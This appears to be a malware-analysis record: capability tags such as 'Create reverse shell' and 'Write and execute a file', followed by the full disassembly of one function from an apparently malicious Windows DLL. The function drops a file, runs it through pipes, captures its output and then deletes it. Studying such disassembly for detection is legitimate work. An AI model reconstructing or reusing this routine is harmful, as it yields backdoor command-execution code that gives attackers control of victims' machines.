Function at 0x180023754
Capabilities:
Check os version
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Delete file
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x278
mov r12, rcx
mov rcx, qword [rcx]
mov rdi, r8
mov edx, 8
mov r8d, 0x800
mov r14, r9
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, qword [rbp + 0x1e0]
lea rdx, [0x18003a0b0]
xor esi, esi
mov ecx, 0x2d0
mov qword [r14], rax
mov dword [r15], esi
call fcn.180030818
lea rdx, str.EXECUSION_n
mov ecx, 0x2d1
call fcn.180030818
mov rcx, qword [r12]
mov rdx, rdi
call fcn.180031c3c
mov rbx, rax
test rax, rax
jne 0x180023819
mov rcx, qword [r14]
lea rax, str.Error_ExpandCSIDLandEnvironment___n
lea r9, str.___Task_execution_FAILED_n
mov qword [rsp + 0x28], rax
lea r8, str._s_s_n_s_n
mov edx, 0x400
mov qword [rsp + 0x20], rdi
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
or esi, 0xffffffff
mov dword [r15], eax
jmp 0x1800241b9
mov qword [rsp + 0x30], rsi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x180023895
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [r14]
lea r9, str.___Task_execution_FAILED_n
mov dword [rsp + 0x38], eax
mov esi, eax
lea rax, str.Error_code_
mov qword [rsp + 0x30], rax
lea rax, str.Error_CreateFile___n
lea r8, str._s_s_n_s_s_d_n
mov qword [rsp + 0x28], rax
mov edx, 0x400
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
jmp 0x180023ad1
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_wcslen]
mov dword [rsp + 0x60], esi
lea r9, [rsp + 0x60]
lea rdi, [rdi + rax*2 + 2]
mov rcx, r13
mov qword [rsp + 0x20], rsi
mov r8d, dword [rdi]
lea rdx, [rdi + 4]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180023997
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
lea edi, [rax + 1]
mov r14b, al
mov r12d, eax
test r12d, r12d
je 0x1800238ec
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023918
lea rdx, str.ERROR_file__s_is_NOT_deleted__WriteFile__n
mov ecx, 0x300
call fcn.180030818
add r12d, edi
cmp r12d, 0xa
jl 0x1800238dc
jmp 0x18002392c
lea rdx, str.file__s_deleted__WriteFile__n
mov ecx, 0x2fb
call fcn.180030818
mov r14b, dil
lea rcx, [0x18003bf0c]
lea rax, str.Error_DeleteFile___n
test r14b, r14b
cmovne rax, rcx
mov rcx, qword [rbp + 0x1d8]
lea r9, str.___Task_execution_FAILED_n
mov rcx, qword [rcx]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], esi
lea rax, str.Error_code_
lea r8, str._s_s_n_s_s_d_n_s_n
mov edx, 0x400
mov qword [rsp + 0x30], rax
lea rax, str.Error_WriteFile___n
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
mov rcx, r13
mov dword [r15], eax
jmp 0x18002419e
mov eax, dword [rdi]
mov rcx, r13
lea rsi, [rdi + rax + 4]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x50]
mov dword [rbp + 0x50], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp + 0x60], 2
mov edi, 1
jne 0x1800239ee
lea rcx, [rbp - 0x48]
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
lea rcx, [rbp - 0x48]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea r11, [rbp - 0x48]
xor r13d, r13d
mov qword [rbp - 0x78], r11
jmp 0x1800239f5
xor r13d, r13d
mov qword [rbp - 0x78], r13
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov dword [rbp - 0x80], 0x18
mov dword [rbp - 0x70], edi
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180023adb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
mov r12d, eax
test r12d, r12d
je 0x180023a3a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023a66
lea rdx, str.ERROR_file__s_is_NOT_deleted__CreatePipe_stdin__n
mov ecx, 0x337
call fcn.180030818
add r12d, edi
cmp r12d, 0xa
jl 0x180023a2a
jmp 0x180023a7a
lea rdx, str.file__s_deleted__CreatePipe_stdin__n
mov ecx, 0x332
call fcn.180030818
mov r13b, dil
lea rcx, [0x18003bf0c]
test r13b, r13b
lea rax, str.Error_DeleteFile___n
cmovne rax, rcx
mov rcx, qword [r14]
lea r9, str.___Task_execution_FAILED_n
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], esi
lea rax, str.Error_code_
mov qword [rsp + 0x30], rax
lea rax, str.Error_CreatePipe___n
lea r8, str._s_s_n_s_s_d_n_s_n
mov qword [rsp + 0x28], rax
mov edx, 0x400
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
mov dword [r15], eax
jmp 0x1800241a4
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180023bb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
mov r12d, eax
test r12d, r12d
je 0x180023b17
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023b43
lea rdx, str.ERROR_file__s_is_NOT_deleted__CreatePipe_stdout__n
mov ecx, 0x351
call fcn.180030818
add r12d, edi
cmp r12d, 0xa
jl 0x180023b07
jmp 0x180023b57
lea rdx, str.file__s_deleted__CreatePipe_stdout__n
mov ecx, 0x34c
call fcn.180030818
mov r13b, dil
lea rcx, [0x18003bf0c]
lea rax, str.Error_DeleteFile___n
test r13b, r13b
cmovne rax, rcx
mov rcx, qword [r14]
lea r9, str.___Task_execution_FAILED_n
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], esi
lea rax, str.Error_code_
mov qword [rsp + 0x30], rax
lea rax, str.Error_CreatePipe___n
lea r8, str._s_s_n_s_s_d_n_s_n
mov qword [rsp + 0x28], rax
mov edx, 0x400
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
mov dword [r15], eax
jmp 0x18002418f
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
mov r8d, edi
mov edx, edi
mov qword [rbp + 0x38], rcx
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x1c], 0x101
mov word [rbp + 0x20], r13w
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [r12]
mov r14d, 8
mov r8d, 0x800
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12d, 0x400
lea r8, str.__s___s
mov r9, rbx
mov edx, r12d
mov rcx, rax
mov r13, rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.msvcrt.dll__snwprintf]
lea rdx, str.__s__n
mov r8, rsi
mov ecx, 0x36b
call fcn.180030818
lea r11, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
xor ecx, ecx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor r13d, r13d
test eax, eax
jne 0x180023d56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14b, r13b
mov esi, eax
test r13d, r13d
je 0x180023ca6
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023cd2
lea rdx, str.ERROR_file__s_is_NOT_deleted__CreateProcess__n
mov ecx, 0x37e
call fcn.180030818
add r13d, edi
cmp r13d, 0xa
jl 0x180023c96
jmp 0x180023ce6
lea rdx, str.file__s_deleted__CreateProcess__n
mov ecx, 0x379
call fcn.180030818
mov r14b, dil
mov rdi, qword [rsp + 0x78]
lea rcx, [0x18003bf0c]
lea rax, str.Error_DeleteFile___n
test r14b, r14b
lea r9, str.___Task_execution_FAILED_n
lea r8, str._s_s_n_s_s_d_n_s_n_s_n
cmovne rax, rcx
mov rcx, qword [rbp + 0x1d8]
mov rdx, r12
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], esi
lea rax, str.Error_code_
mov qword [rsp + 0x30], rax
lea rax, str.Error_CreateProcess___n
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
mov dword [r15], eax
jmp 0x18002414c
mov rcx, qword [rbp + 0x1c0]
mov r8, r12
mov edx, r14d
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x1d0]
mov r14, rax
lea rax, [rsp + 0x64]
mov r8d, 0x3ff
mov rdx, r14
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x50], r13d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180023f3b
or esi, 0xffffffff
cmp dword [rbp + 0x1d0], r13d
je 0x180023e5d
mov r8, r12
xor edx, edx
mov rcx, r14
call qword [sym.imp.msvcrt.dll_memset]
mov r13, qword [rbp + 0x1d8]
mov rcx, qword [rsp + 0x58]
xor eax, eax
lea r9, [rbp + 0x1d0]
mov r8d, 0x3ff
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11d, dword [rbp + 0x1d0]
mov rax, qword [rbp + 0x1c0]
add dword [r15], r11d
mov r8, qword [r13]
mov r9d, dword [r15]
mov rcx, qword [rax]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [r13], rax
test rax, rax
je 0x180023f8d
mov ecx, dword [r15]
mov r8d, dword [rbp + 0x1d0]
mov rdx, r14
sub ecx, dword [rbp + 0x1d0]
add rcx, rax
call qword [sym.imp.msvcrt.dll_memcpy]
mov r8, r12
xor edx, edx
mov rcx, r14
call qword [sym.imp.msvcrt.dll_memset]
cmp dword [rbp + 0x1d0], 0x3ff
jae 0x180023dcb
xor r13d, r13d
mov rcx, qword [rbp - 0x60]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rsp + 0x50], 0x103
jne 0x180024031
mov rcx, qword [rbp + 0x1c8]
mov edx, 0xa
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180023f09
mov r8, qword [rbp - 0x60]
lea rdx, str.TIME_EXCEEDED___TerminateProcess___d_n
mov ecx, 0x3d7
call fcn.180030818
mov rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test r13d, r13d
je 0x180023ec1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023eed
lea rdx, str.ERROR_file__s_is_NOT_deleted__WaitForSingleObject__n
mov ecx, 0x3e3
call fcn.180030818
add r13d, edi
cmp r13d, 0xa
jl 0x180023eb1
jmp 0x180023efe
lea rdx, str.file__s_deleted__WaitForSingleObject__n
mov ecx, 0x3df
call fcn.180030818
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r13d, r13d
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x64]
lea r9, [rbp + 0x1d0]
mov r8d, 0x3ff
mov rdx, r14
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180023da9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rbp + 0x1e0], r13b
mov esi, eax
test r13d, r13d
je 0x180023f5a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180024086
lea rdx, str.ERROR_file__s_is_NOT_deleted__PeekNamedPipe__n
mov ecx, 0x3a1
call fcn.180030818
add r13d, edi
cmp r13d, 0xa
jl 0x180023f4a
jmp 0x18002409e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
mov byte [rbp + 0x1e0], al
mov r13d, eax
test r13d, r13d
je 0x180023fb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x180023fdc
lea rdx, str.ERROR_file__s_is_NOT_deleted__HeapReAlloc__n
mov ecx, 0x3c2
call fcn.180030818
add r13d, edi
cmp r13d, 0xa
jl 0x180023fa0
jmp 0x180023ff4
lea rdx, str.file__s_deleted__HeapReAlloc__n
mov ecx, 0x3bd
call fcn.180030818
mov byte [rbp + 0x1e0], dil
xor r13d, r13d
lea rcx, [0x18003bf0c]
lea rax, str.Error_DeleteFile___n
cmp byte [rbp + 0x1e0], r13b
cmovne rax, rcx
mov qword [rsp + 0x40], rax
lea rax, str.Error_code_
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rax
lea rax, str.Error_HeapReAlloc___n
jmp 0x1800240d6
mov esi, r13d
test esi, esi
je 0x180024043
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, rbx
test eax, eax
jne 0x18002406d
lea rdx, str.ERROR_file__s_is_NOT_deleted___n
mov ecx, 0x3f4
call fcn.180030818
add esi, edi
cmp esi, 0xa
jl 0x180024034
jmp 0x18002407e
lea rdx, str.file__s_deleted_n
mov ecx, 0x3f0
call fcn.180030818
mov esi, r13d
jmp 0x180024106
lea rdx, str.file__s_deleted__PeekNamedPipe__n
mov ecx, 0x39c
call fcn.180030818
mov byte [rbp + 0x1e0], dil
xor r13d, r13d
lea rcx, [0x18003bf0c]
lea rax, str.Error_DeleteFile___n
cmp byte [rbp + 0x1e0], r13b
cmovne rax, rcx
mov qword [rsp + 0x40], rax
lea rax, str.Error_code_
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rax
lea rax, str.Error_PeekNamedPipe___n
mov rcx, qword [rbp + 0x1d8]
mov qword [rsp + 0x28], rax
lea r9, str.___Task_execution_FAILED_n
mov rcx, qword [rcx]
lea r8, str._s_s_n_s_s_d_n_s_n
mov rdx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snwprintf]
add eax, eax
mov dword [r15], eax
test r14, r14
je 0x180024122
mov rax, qword [rbp + 0x1c0]
mov r8, r14
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180024133
lea rdx, str._HeapFree__NULL_n
mov ecx, 0x3fa
call fcn.180030818
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je 0x180024168
mov rax, qword [rbp + 0x1c0]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180024179
lea rdx, str._HeapFree__NULL_n
mov ecx, 0x3ff
call fcn.180030818
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x1c0]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, str.Return__d_n
mov r8d, esi
mov ecx, 0x40b
call fcn.180030818
mov eax, esi
add rsp, 0x278
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret